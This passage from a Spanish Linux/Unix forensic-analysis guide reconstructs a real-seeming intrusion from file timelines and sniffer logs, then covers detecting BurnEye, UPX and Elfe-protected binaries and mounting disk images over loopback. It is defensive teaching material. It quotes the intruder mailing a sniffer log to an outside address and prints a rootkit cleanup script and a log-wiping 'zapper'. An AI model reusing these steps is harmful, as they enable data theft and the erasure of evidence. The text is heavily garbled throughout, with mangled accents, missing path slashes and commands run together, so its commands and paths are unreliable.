bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 36: Análisis Forense de Sistemas GNU/Linux, Unix

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

